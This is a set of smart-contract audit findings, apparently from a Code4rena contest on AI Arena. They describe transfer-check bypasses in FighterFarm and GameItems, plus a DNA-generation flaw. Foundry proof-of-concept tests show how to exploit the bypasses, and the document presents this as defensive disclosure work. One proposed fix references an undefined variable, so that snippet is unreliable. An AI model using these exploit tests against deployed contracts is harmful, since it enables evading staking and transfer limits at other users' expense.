AI Arena - Pelz's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L545 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365

Vulnerability details

Impact

The FighterFarm.sol contract is tasked with managing non-fungible tokens (NFTs) within the protocol. The contract includes a check to ensure that users adhere to certain conditions and checks when transferring tokens. However, a critical function was overlooked during modification, leading to the omission of these checks. Consequently, all these checks can be bypassed when users utilize the unmodified function.

Proof of Concept

To demonstrate the exploitability of the vulnerability, a proof of concept (PoC) was developed. The contract employs the _ableToTransfer function to regulate token transfers: https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L545

function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
    return (
        _isApprovedOrOwner(msg.sender, tokenId) &&
        balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
        !fighterStaked[tokenId]
    );
}

This function verifies if the transfer of an NFT is permissible based on ownership, balance limits, and stake status. It's then used to override and modify the transfer function provided by the inherited ERC721 contract from OpenZeppelin: https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L338-L348 and https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365

 function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));// <---- @audit modification
        _transfer(from, to, tokenId);
    }

  function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to)); // <---- @audit modification
        _safeTransfer(from, to, tokenId, "");
    }

However, the issue lies in the fact that these aren't the only functions allowing token transfer from the inherited ERC721 contract. Another public safeTransferFrom function can perform transfer operations as well:

   function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

Using this function, a user can bypass all the checks in the ableToTransfer requirement and disrupt the contract's flow.

Test Case 1

  function testSafeTransferFrom() public {
      // assuming a user has 10 tokens minted initially
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        // transfer to delegated address 10 times
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 2);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 3);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 4);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 5);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 6);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 7);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 8);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 9);

        // mint another nft to user
         _mintFromMergingPool(_ownerAddress);

        // use normal safeTransferFrom to check if it fails
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 10);

        // use the second erc721 safetransferFrom to bypass the checks
         _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 10, "");
         assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 11);
    }

This test case, when added to the FighterFarm.t.sol test file and executed, demonstrates how a user can bypass the checks, sending NFTs to an address that has already reached the maximum limit.

Test Case 1

      function testShouldNotTransferAfterStakeNRN() public {
        address staker = vm.addr(3);
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);
        assertEq(_neuronContract.balanceOf(staker) >= 4_000 * 10 ** 18, true);
        assertEq(_fighterFarmContract.ownerOf(0), staker);
        assertEq(_neuronContract.hasRole(keccak256("STAKER_ROLE"), address(_rankedBattleContract)), true);
        vm.prank(staker);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

        // start transfer after stake
        vm.prank(staker);
        _fighterFarmContract.approve(vm.addr(4), 0);
        vm.prank(vm.addr(4));
        _fighterFarmContract.safeTransferFrom(staker, vm.addr(4), 0, "0x");
        assertEq(_fighterFarmContract.ownerOf(0), vm.addr(4));
    }

This test case, when added to the RankedBattle.t.sol file and executed, proves that the check preventing the transfer of NFTs after being staked can also be bypassed.

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

To mitigate this issue, it is crucial to modify the safeTransferFrom function to include the necessary ownership and stake checks to prevent unauthorized transfers:

  function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        require(_ableToTransfer(tokenId, to)); <----- modification
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
        _safeTransfer(from, to, tokenId, data);
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L2-L316 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303

Vulnerability details

Impact

The vulnerability discovered lies in the GameItems.sol contract which compromises the expected behavior of non-transferable game items. Despite the contract's intention to prevent the transfer of tokens after minting, a critical oversight allows malicious users to bypass this restriction. By utilizing the safeBatchTransferFrom function, users can transfer non-transferable tokens, thus undermining the original intent of the game or contract.

Proof of Concept

The vulnerability arises due to a discrepancy between the safeTransferFrom and safeBatchTransferFrom functions within the GameItems contract. While the safeTransferFrom function enforces the non-transferability check:

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Added a check to see if the game item is transferable.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

, the safeBatchTransferFrom function lacks this validation. Consequently, malicious users can exploit this gap to transfer non-transferable tokens.

Test Case: Bypassing and Transferring Non-Transferrable Items

     function testBypassAndTransferNonTransferrableItem() public {
        // create non transferrable item
        _gameItemsContract.createGameItem("Gloves", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10);
        (string memory name,,,,,) = _gameItemsContract.allGameItemAttributes(1);
        assertEq(name, "Gloves");
        assertEq(_gameItemsContract.remainingSupply(1), 10_000);

        // Buy the item
        address user = vm.addr(3);
        address user2 = vm.addr(4);
        _fundUserWith4kNeuronByTreasury(user);

         vm.startPrank(user);
         _gameItemsContract.mint(1, 10);
         assertEq(_gameItemsContract.balanceOf(user, 1), 10);

        //  approve user2
        _gameItemsContract.setApprovalForAll(user2, true);
        assertEq(_gameItemsContract.isApprovedForAll(user, user2), true);
        vm.stopPrank();

        // test normal safetransferfrom and expect failure
        
        vm.expectRevert();
        vm.prank(user2);
        _gameItemsContract.safeTransferFrom(user, user2, 1, 2, "");
        assertEq(_gameItemsContract.balanceOf(user2, 1), 0);
        assertEq(_gameItemsContract.balanceOf(user, 1), 10);

        //   setup to bypass transfer of non-transferrable item
       
        uint256[] memory id = new uint[](1);
        uint256[] memory amount = new uint[](1);

        id[0] = 1;
        amount[0] = 2;

        // bypass and transfer

         vm.prank(user2);
        _gameItemsContract.safeBatchTransferFrom(user, user2, id, amount, "");
        

        assertEq(_gameItemsContract.balanceOf(user2, 1), 2);
        assertEq(_gameItemsContract.balanceOf(user, 1), 8);

    }

This test case, when added to the test suite for GameItems contract and executed, demonstrates how a user can bypass the non-transferability check and transfer non-transferrable items using the safeBatchTransferFrom function.

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

To address this vulnerability and reinforce the intended behavior of non-transferable game items, it is recommended to modify the safeBatchTransferFrom function to include the same non-transferability check as in the safeTransferFrom function. This ensures consistency in validation across all transfer functions. Example given below.

   function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override(ERC1155) {
        require(allGameItemAttributes[tokenId].transferable);
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324

Vulnerability details

Impact

The vulnerability I discovered is in the FighterFarm.sol contract and it affects the generation of DNA for fighter NFTs. The contract is intended to generate DNA based on the address of the recipient of the fighter. However, due to the way the mintFromMergingPool function is implemented, which is called by the MergingPool contract, the msg.sender variable is used for DNA generation instead of the actual recipient address. Consequently, all DNA generated by this function carries the address of the Merging Pool contract instead of the intended recipient's address. This inconsistency may lead to unexpected behavior.

Proof of Concept

The vulnerable code segment can be found in the mintFromMergingPool function within the FighterFarm.sol contract. Here is the relevant code snippet:

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
    _createNewFighter(
        to, 
        // @audit DNA generation using msg.sender instead of recipient's address
        uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
        customAttributes
    );
}

Tools Used

Manual review

Recommended Mitigation Steps

To address this vulnerability, it is recommended to modify the mintFromMergingPool function to generate DNA based on the address of the intended recipient (to address) instead of using msg.sender. The fix could be implemented like this:

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
    _createNewFighter(
        to, 
        // DNA generation using recipient's address
        uint256(keccak256(abi.encode(to, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
        customAttributes
    );
}

Assessed type

en/de-code